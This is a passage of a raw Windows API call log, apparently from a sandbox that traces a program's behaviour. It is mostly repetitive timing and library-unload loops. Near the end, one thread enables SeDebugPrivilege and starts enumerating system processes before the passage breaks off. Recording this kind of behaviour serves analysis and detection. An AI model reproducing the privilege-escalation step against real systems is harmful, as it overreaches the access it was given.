[0247.074] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.075] free (_Block=0x20abc284e70) [0247.076] free (_Block=0x20abc27cf80) [0247.076] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f08f840, dwHighDateTime=0x1d9eb0c)) [0247.085] free (_Block=0x20abc281b20) [0247.085] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.086] free (_Block=0x20abc284e70) [0247.087] free (_Block=0x20abc27cb20) [0247.087] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.093] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f0b5ee9, dwHighDateTime=0x1d9eb0c)) [0247.094] free (_Block=0x20abc281b80) [0247.095] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.095] free (_Block=0x20abc284e70) [0247.096] free (_Block=0x20abc27cb20) [0247.096] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f2330f0, dwHighDateTime=0x1d9eb0c)) [0247.250] free (_Block=0x20abc281d60) [0247.250] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.251] free (_Block=0x20abc284e70) [0247.251] free (_Block=0x20abc27cb20) [0247.251] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.261] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f2593a2, dwHighDateTime=0x1d9eb0c)) [0247.262] free (_Block=0x20abc281f00) [0247.262] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.263] free (_Block=0x20abc284e70) [0247.264] free (_Block=0x20abc27cf80) [0247.264] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.270] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f2593a2, dwHighDateTime=0x1d9eb0c)) [0247.271] free (_Block=0x20abc281ea0) [0247.271] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.271] free (_Block=0x20abc284e70) [0247.272] free (_Block=0x20abc27cf80) [0247.272] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f27f98f, dwHighDateTime=0x1d9eb0c)) [0247.279] free (_Block=0x20abc281e60) [0247.279] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.280] free (_Block=0x20abc284e70) [0247.280] free (_Block=0x20abc27cb20) [0247.281] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.287] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f27f98f, dwHighDateTime=0x1d9eb0c)) [0247.287] free (_Block=0x20abc281b20) [0247.288] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.288] free (_Block=0x20abc284e70) [0247.289] free (_Block=0x20abc27cf80) [0247.290] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.432] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f3fce60, dwHighDateTime=0x1d9eb0c)) [0247.433] free (_Block=0x20abc281ac0) [0247.434] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.435] free (_Block=0x20abc284e70) [0247.436] free (_Block=0x20abc27cb20) [0247.436] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f3fce60, dwHighDateTime=0x1d9eb0c)) [0247.443] free (_Block=0x20abc281fa0) [0247.444] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.444] free (_Block=0x20abc284e70) [0247.445] free (_Block=0x20abc27cb20) [0247.476] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.484] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f46f512, dwHighDateTime=0x1d9eb0c)) [0247.485] free (_Block=0x20abc281b20) [0247.485] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.486] free (_Block=0x20abc284e70) [0247.487] free (_Block=0x20abc27cb20) [0247.487] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.524] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f4e1bd9, dwHighDateTime=0x1d9eb0c)) [0247.525] free (_Block=0x20abc282020) [0247.525] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.526] free (_Block=0x20abc284e70) [0247.527] free (_Block=0x20abc27cb20) [0247.527] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.536] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f4e1bd9, dwHighDateTime=0x1d9eb0c)) [0247.537] free (_Block=0x20abc281be0) [0247.537] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.538] free (_Block=0x20abc284e70) [0247.539] free (_Block=0x20abc27cf80) [0247.539] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.688] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f65f382, dwHighDateTime=0x1d9eb0c)) [0247.689] free (_Block=0x20abc281fe0) [0247.689] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.690] free (_Block=0x20abc284e70) [0247.690] free (_Block=0x20abc27cf80) [0247.690] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.702] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f6856b2, dwHighDateTime=0x1d9eb0c)) [0247.703] free (_Block=0x20abc281ce0) [0247.703] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.703] free (_Block=0x20abc284e70) [0247.704] free (_Block=0x20abc27cf80) [0247.705] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f6ab728, dwHighDateTime=0x1d9eb0c)) [0247.714] free (_Block=0x20abc281ce0) [0247.714] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.716] free (_Block=0x20abc284e70) [0247.717] free (_Block=0x20abc27cf80) [0247.717] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.723] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f6ab728, dwHighDateTime=0x1d9eb0c)) [0247.724] free (_Block=0x20abc2820a0) [0247.724] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.725] free (_Block=0x20abc284e70) [0247.726] free (_Block=0x20abc27cf80) [0247.726] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f6d1ab4, dwHighDateTime=0x1d9eb0c)) [0247.733] free (_Block=0x20abc281d20) [0247.734] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.735] free (_Block=0x20abc284e70) [0247.736] free (_Block=0x20abc27cf80) [0247.736] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.870] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f829068, dwHighDateTime=0x1d9eb0c)) [0247.872] free (_Block=0x20abc282060) [0247.872] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.873] free (_Block=0x20abc284e70) [0247.873] free (_Block=0x20abc27cf80) [0247.874] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.887] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f84f1c0, dwHighDateTime=0x1d9eb0c)) [0247.888] free (_Block=0x20abc281c40) [0247.888] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.889] free (_Block=0x20abc284e70) [0247.890] free (_Block=0x20abc27cf80) [0247.891] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f84f1c0, dwHighDateTime=0x1d9eb0c)) [0247.900] free (_Block=0x20abc281e00) [0247.900] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.901] free (_Block=0x20abc284e70) [0247.903] free (_Block=0x20abc27cf80) [0247.903] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.911] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f875b39, dwHighDateTime=0x1d9eb0c)) [0247.912] free (_Block=0x20abc281b60) [0247.912] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.913] free (_Block=0x20abc284e70) [0247.915] free (_Block=0x20abc27cf80) [0247.915] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0248.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f9cc98e, dwHighDateTime=0x1d9eb0c)) [0248.043] free (_Block=0x20abc281f00) [0248.043] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0248.044] free (_Block=0x20abc284e70) [0248.044] free (_Block=0x20abc27cf80) [0248.044] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0248.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f9cc98e, dwHighDateTime=0x1d9eb0c)) [0248.055] free (_Block=0x20abc2819a0) [0248.056] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0248.057] free (_Block=0x20abc284e70) [0248.058] free (_Block=0x20abc27cf80) [0248.058] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0248.066] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f9f2cf5, dwHighDateTime=0x1d9eb0c)) [0248.067] free (_Block=0x20abc281d20) [0248.068] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0248.068] free (_Block=0x20abc284e70) [0248.069] free (_Block=0x20abc27cf80) [0248.069] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0248.080] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4fa18efc, dwHighDateTime=0x1d9eb0c)) [0248.081] free (_Block=0x20abc281bc0) [0248.081] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0248.082] free (_Block=0x20abc284e70) [0248.083] free (_Block=0x20abc27cb20) [0248.083] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0248.325] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4fc7ca84, dwHighDateTime=0x1d9eb0c)) [0248.326] free (_Block=0x20abc281b80) [0248.327] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0248.328] free (_Block=0x20abc284e70) [0248.329] free (_Block=0x20abc27cb20) [0248.329] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0248.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4fca190e, dwHighDateTime=0x1d9eb0c)) [0248.337] free (_Block=0x20abc281e00) [0248.338] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0248.338] free (_Block=0x20abc284e70) [0248.339] free (_Block=0x20abc27cb20) [0248.339] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0248.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4fca190e, dwHighDateTime=0x1d9eb0c)) [0248.350] free (_Block=0x20abc281c40) [0248.351] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0248.351] free (_Block=0x20abc284e70) [0248.352] free (_Block=0x20abc27cf80) [0248.353] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0248.359] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4fcc7a30, dwHighDateTime=0x1d9eb0c)) [0248.360] free (_Block=0x20abc281be0) [0248.360] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0248.361] free (_Block=0x20abc284e70) [0248.361] free (_Block=0x20abc27cb20) [0248.362] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0248.535] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4fe6b2e0, dwHighDateTime=0x1d9eb0c)) [0248.537] free (_Block=0x20abc281c00) [0248.538] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0248.539] free (_Block=0x20abc284e70) [0248.541] free (_Block=0x20abc27cb20) [0248.541] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0248.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4fe9cc90, dwHighDateTime=0x1d9eb0c)) [0248.550] free (_Block=0x20abc281b80) [0248.550] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0248.551] free (_Block=0x20abc284e70) [0248.552] free (_Block=0x20abc27cb20) [0248.552] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0248.560] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4feb77a7, dwHighDateTime=0x1d9eb0c)) [0248.560] free (_Block=0x20abc281fc0) [0248.561] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0248.561] free (_Block=0x20abc284e70) [0248.562] free (_Block=0x20abc27cb20) [0248.562] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0248.569] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4feb77a7, dwHighDateTime=0x1d9eb0c)) [0248.569] free (_Block=0x20abc281fc0) [0248.570] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0248.570] free (_Block=0x20abc284e70) [0248.571] free (_Block=0x20abc27cb20) [0248.572] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0248.686] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4ffe8b83, dwHighDateTime=0x1d9eb0c)) [0248.688] free (_Block=0x20abc281d60) [0248.688] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0248.689] free (_Block=0x20abc284e70) [0248.690] free (_Block=0x20abc27cb20) [0248.690] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0248.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x5000f26c, dwHighDateTime=0x1d9eb0c)) [0248.699] free (_Block=0x20abc281f00) [0248.700] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0248.700] free (_Block=0x20abc284e70) [0248.701] free (_Block=0x20abc27cb20) [0248.701] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0248.712] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x50035f5f, dwHighDateTime=0x1d9eb0c)) [0248.713] free (_Block=0x20abc282060) [0248.714] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0248.714] free (_Block=0x20abc284e70) [0248.715] free (_Block=0x20abc2a7ec0) [0248.715] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0248.846] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x50171378, dwHighDateTime=0x1d9eb0c)) [0248.848] free (_Block=0x20abc281e40) [0248.848] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0248.849] free (_Block=0x20abc284e70) [0248.850] free (_Block=0x20abc27cb20) [0248.850] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0248.858] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x501976f3, dwHighDateTime=0x1d9eb0c)) [0248.859] free (_Block=0x20abc281b20) [0248.859] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0248.860] free (_Block=0x20abc284e70) [0248.861] free (_Block=0x20abc27cb20) [0248.861] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0248.869] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x501976f3, dwHighDateTime=0x1d9eb0c)) [0248.870] free (_Block=0x20abc281ee0) [0248.870] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0248.871] free (_Block=0x20abc284e70) [0248.872] free (_Block=0x20abc27cb20) [0248.872] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0248.879] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x501bd819, dwHighDateTime=0x1d9eb0c)) [0248.880] free (_Block=0x20abc281ee0) [0248.881] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0248.881] free (_Block=0x20abc284e70) [0248.882] free (_Block=0x20abc27cf80) [0248.883] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0249.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x50314d1a, dwHighDateTime=0x1d9eb0c)) [0249.015] free (_Block=0x20abc281b40) [0249.016] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0249.016] free (_Block=0x20abc284e70) [0249.017] free (_Block=0x20abc27cb20) [0249.017] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0249.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x50314d1a, dwHighDateTime=0x1d9eb0c)) [0249.026] free (_Block=0x20abc281ec0) [0249.026] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0249.027] free (_Block=0x20abc284e70) [0249.028] free (_Block=0x20abc27cf80) [0249.030] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0249.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x5033d50f, dwHighDateTime=0x1d9eb0c)) [0249.040] free (_Block=0x20abc281a40) [0249.040] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0249.041] free (_Block=0x20abc284e70) [0249.042] free (_Block=0x20abc27cb20) [0249.042] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0249.050] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x5036169a, dwHighDateTime=0x1d9eb0c)) [0249.051] free (_Block=0x20abc282060) [0249.051] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0249.052] free (_Block=0x20abc284e70) [0249.054] free (_Block=0x20abc27cb20) [0249.054] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0253.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x5294acad, dwHighDateTime=0x1d9eb0c)) [0253.023] free (_Block=0x20abc281aa0) [0253.023] FreeLibrary (hLibModule=0x7ffb201b0000) returned 1 [0253.024] free (_Block=0x20abc2867b0) [0253.025] free (_Block=0x20abc27cb20) [0253.025] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0267.608] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x5b4619e9, dwHighDateTime=0x1d9eb0c)) [0267.610] free (_Block=0x20abc281ea0) [0267.610] FreeLibrary (hLibModule=0x7ffb201b0000) returned 1 [0267.610] free (_Block=0x20abc2867b0) [0267.611] free (_Block=0x20abc27cb20) [0267.611] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0280.994] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x6340d015, dwHighDateTime=0x1d9eb0c)) [0280.995] free (_Block=0x20abc281bc0) [0280.995] FreeLibrary (hLibModule=0x7ffb201b0000) returned 1 [0280.996] free (_Block=0x20abc2867b0) [0280.997] free (_Block=0x20abc27cb20) [0280.997] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0294.369] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x6b382433, dwHighDateTime=0x1d9eb0c)) [0294.371] free (_Block=0x20abc281aa0) [0294.371] FreeLibrary (hLibModule=0x7ffb201b0000) returned 1 [0294.371] free (_Block=0x20abc2867b0) [0294.373] free (_Block=0x20abc27cf80) [0294.373] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 131 os_tid = 0x11e4 Thread: id = 132 os_tid = 0x11d4 [0189.824] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0190.091] RtlRestoreLastWin32Error () returned 0x2dc20c7000 [0190.091] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc24fddc8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc24fdcc0 | out: pulNumLanguages=0x2dc24fddc8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc24fdcc0) returned 1 [0190.091] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc4020a0 [0190.091] RtlRestoreLastWin32Error () returned 0x2dc20c7000 [0190.091] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc24fddc8, pwszLanguagesBuffer=0x20abc4020a0, pcchLanguagesBuffer=0x2dc24fdcc0 | out: pulNumLanguages=0x2dc24fddc8, pwszLanguagesBuffer=0x20abc4020a0, pcchLanguagesBuffer=0x2dc24fdcc0) returned 1 [0190.091] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc4023f0 [0190.091] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc4020a0) returned 1 [0190.091] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x14) returned 0x20abba93ad0 [0190.091] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba93ad0, pulNumLanguages=0x2dc24fddc8 | out: pulNumLanguages=0x2dc24fddc8) returned 1 [0190.091] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba93ad0) returned 1 [0190.095] SetEvent (hEvent=0x248) returned 1 [0190.096] free (_Block=0x20abc27cb20) [0190.096] GetCurrentThread () returned 0xfffffffffffffffe [0190.096] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x2dc24fd3b0 | out: TokenHandle=0x2dc24fd3b0*=0x448) returned 1 [0190.096] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x2dc24fd3ec | out: lpLuid=0x2dc24fd3ec*(LowPart=0x14, HighPart=0)) returned 1 [0190.098] RtlRestoreLastWin32Error () returned 0x2dc20c7000 [0190.098] AdjustTokenPrivileges (in: TokenHandle=0x448, DisableAllPrivileges=0, NewState=0x2dc24fd3e8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0190.098] GetLastError () returned 0x0 [0190.098] CloseHandle (hObject=0x448) returned 1 [0190.099] malloc (_Size=0x8000) returned 0x20abc286d60 [0190.099] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x8000, 